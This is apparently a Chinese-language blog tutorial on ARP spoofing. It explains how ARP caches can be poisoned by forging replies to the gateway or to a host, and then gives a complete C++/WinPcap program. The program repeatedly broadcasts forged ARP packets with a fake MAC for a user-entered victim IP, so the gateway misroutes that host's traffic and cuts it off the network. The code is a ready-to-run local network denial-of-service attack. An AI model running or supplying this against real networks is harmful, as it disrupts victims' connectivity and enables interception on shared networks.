用C++实现简单的ARP欺诈攻击

什么是ARP?

地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。

为什么它会很容易攻击?

地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,无论这个主机有没有REQUEST或是已经收到了REPLY,当再有REPLY来的时候,它都会记下这个REPLY中的信息,并更新自己的ARP缓存。同样,也只要是有主机发送ARP REQUEST,他就会记下这个信息,并更新自己的ARP缓存。

欺骗的方式

所以一般的ARP可以有两种攻击方式:

  1. 伪造成被攻击主机,向网关发送伪造的MAC地址,告诉网关被攻击的主机的MAC地址变更了,网关接收到Request后就会Reply,并且更新自己的ARP缓存。
  2. 伪造成网关,向某个主机发送Reply,主机接收到之后就会知道网关的MAC地址变更了。然后更新自己的ARP缓存,然后迷失在假的世界里~
第一种方式


在第一种方式中网关的ARP缓存是错误的,当外部网络传入一个包时,网关会根据ARP缓存查询存放在数据包头部的目的IP所对应的MAC地址。当然我们这里的IP地址是真的,但是根据ARP缓存查询到MAC地址是假的..结果就出事了,网关会将这个包转发到这个假的MAC地址的设备上了(不管这个设备存不存在),从而导致这个被攻击的主机接受不到数据包(也就是没网了)。

举个例子:
主机A被攻击了,当外界一个包传入时。
网关:”我先来看看包的头部,这个IP对应的是主机A,好。我再来看看ARP缓存表,它在AA-AA-AA-AA-AA-AA(假的)”。
然后网关就把包转发给了AA-AA-AA-AA-AA-AA,而不是真正的主机A。

第二种方式


在我们第二种方式的欺诈中,被攻击的主机ARP缓存中的网关MAC地址是错误的。所以当这个主机要向外部网络发送数据包的时候,根据ARP缓存查询到了网关的MAC地址,并填了上去。在网关接收到这个包之后,一看这个MAC地址,不是给它的,就顺手转发了出去。

举个例子
主机A被攻击了,当它要向外网传出一个包是时。
它把假的MAC地址填了上去,等到了网关那里。
网关:”这个MAC不是我的地址,我来转发出去”。然后A的数据包就迷失在了茫茫的内网中。

攻击的实现

首先你要去欺骗主机或者网关,必须要让它们相信你说的是真的,也就是你发送的欺骗报文包是要符合标准的格式的。

ARP报文的格式
  • 硬件类型:表示硬件地址的类型。它的值为1表示以太网地址;
  • 协议类型:表示要映射的协议地址类型。它的值为0x0800即表示IP地址。
  • 硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。
  • 操作类型(OP):1表示ARP请求,2表示ARP应答。
  • 发送端MAC地址:发送方设备的硬件地址。
  • 发送端IP地址:发送方设备的IP地址。
  • 目标MAC地址:接收方设备的硬件地址。
  • 目标IP地址:接收方设备的IP地址。

code

这个代码使用的是第一种方法。
调用了ws2_32和wpcap库。
改天我还会用Python重写一个ARP欺诈程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#include <memory>
#include <pcap.h>
#define ETH_ADDRESS_LENGTH 0x06
#define ETH_PROTO_ARP 0x806
#define ETH_TRAILER_LENGTH 0x12
#define IPV4_LENGTH 0x11
#define MAX_ADAPTER_NAME_LENGTH 256
#define MAX_ADAPTER_DESCRIPTION_LENGTH 128
#define MAX_ADAPTER_ADDRESS_LENGTH 8
#define ADAPTER_INDEX 1
#define ARP_PING_SEND_BUFFER_LENGTH 512
#define ARP_PING_WAIT_TIME 5000
bool arp_attack_init(void);
bool arp_attack(void);
void arp_attack_clean(void);
#pragma comment (lib,"wpcap.lib")
#pragma comment (lib,"ws2_32")
#pragma pack(1)
static pcap_t* adapter=NULL;
static char gateway_ip[0x11]= "192.168.2.1"; //gateway_IP
static char fake_mac[6]={0xaa,0xbb,0xcc,0xdd,0xdd,0xff};//fake_MAC
static char attack_ip[0x11];//attack_ip
typedef struct {
unsigned char dest[ETH_ADDRESS_LENGTH];
unsigned char source[ETH_ADDRESS_LENGTH];
unsigned short proto;
} eth,*point_eth;
typedef struct {
USHORT arp_hrd;
USHORT arp_pro;
UCHAR arp_hln;
UCHAR arp_pln;
USHORT arp_op;
UCHAR arp_sha[6];
ULONG arp_spa;
UCHAR arp_tha[6];
ULONG arp_tpa;
} arp,*point_arp;
#pragma pack(4)
bool arp_attack_init(void) {
char buffer[64]={0};
pcap_if_t *devsin;
pcap_if_t *d;
int i=0;
char errorbuf[PCAP_ERRBUF_SIZE]={0};
if (pcap_findalldevs(&devsin, errorbuf) == -1)
return false;
for(d=devsin, i=0; i< ADAPTER_INDEX-1 ;d=d->next, i++);
if ((adapter= pcap_open_live(d->name, 65536, 1,1000, errorbuf )) == NULL)
return false;
return true;
}
void arp_attack_clean(void) {
pcap_close(adapter);
}
bool arp_attack() {
char send_packet[ARP_PING_SEND_BUFFER_LENGTH]={0};
point_eth peth=(point_eth)send_packet;
peth->dest[0]=0xFF; //Broadcast
peth->dest[1]=0xFF;
peth->dest[2]=0xFF;
peth->dest[3]=0xFF;
peth->dest[4]=0xFF;
peth->dest[5]=0xFF;
memcpy(&peth->source,fake_mac,ETH_ADDRESS_LENGTH);
peth->proto=htons(ETH_PROTO_ARP);
point_arp parp=(point_arp)(send_packet+sizeof(eth));
parp->arp_hrd=htons(0x0001);
parp->arp_pro=htons(0x0800);
parp->arp_hln=0x6;
parp->arp_pln=0x4;
parp->arp_op=htons(0x0001);
memcpy(&parp->arp_sha,fake_mac,ETH_ADDRESS_LENGTH);
parp->arp_spa=inet_addr(attack_ip);
parp->arp_tha[0]=0xFF;
parp->arp_tha[1]=0xFF;
parp->arp_tha[2]=0xFF;
parp->arp_tha[3]=0xFF;
parp->arp_tha[4]=0xFF;
parp->arp_tha[5]=0xFF;
parp->arp_tpa=inet_addr(gateway_ip); //gateway_ip
char* eth_trailer=(char*)(send_packet+sizeof(eth)+sizeof(arp));
for (int i=0;i<ETH_TRAILER_LENGTH;++i,++eth_trailer)
*eth_trailer=0x11;
pcap_sendpacket(adapter,(const unsigned char *)send_packet,42);
DWORD old_tick=GetTickCount();
DWORD new_tick=old_tick;
do {
pcap_pkthdr* header=NULL;
unsigned char* data=NULL;
int return_code=pcap_next_ex(adapter,&header,(const unsigned char**)&data);
if (-1==return_code || 0==return_code) continue;
parp=(point_arp)(data+sizeof(eth));
if (parp->arp_spa==inet_addr(gateway_ip)) {
printf("Attack Success!!Continue.....\n");//can use for update gateway_ip
return true;
}
new_tick=GetTickCount();
}
while ((new_tick-old_tick)<=ARP_PING_WAIT_TIME);
printf("Failed!");
return false;
}
int main(void) {
DWORD timedelay=3000;
printf("Input The Attack IP:");
arp_attack_init();
scanf("%s",attack_ip);
arp_attack();
DWORD old_tick=GetTickCount();
while(1)
{
DWORD new_tick=GetTickCount();
if ((new_tick-old_tick)>timedelay)
{
arp_attack();
old_tick=GetTickCount();
}
}
arp_attack_clean();
}

效果


#

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×